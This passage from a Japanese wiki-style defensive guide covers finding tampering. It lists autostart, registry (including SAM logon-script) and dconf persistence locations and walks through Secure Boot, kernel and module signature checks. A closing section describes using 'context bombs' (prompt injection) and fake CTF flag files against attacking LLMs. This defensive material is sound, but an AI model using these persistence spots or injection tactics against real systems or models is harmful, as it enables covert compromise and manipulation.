| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
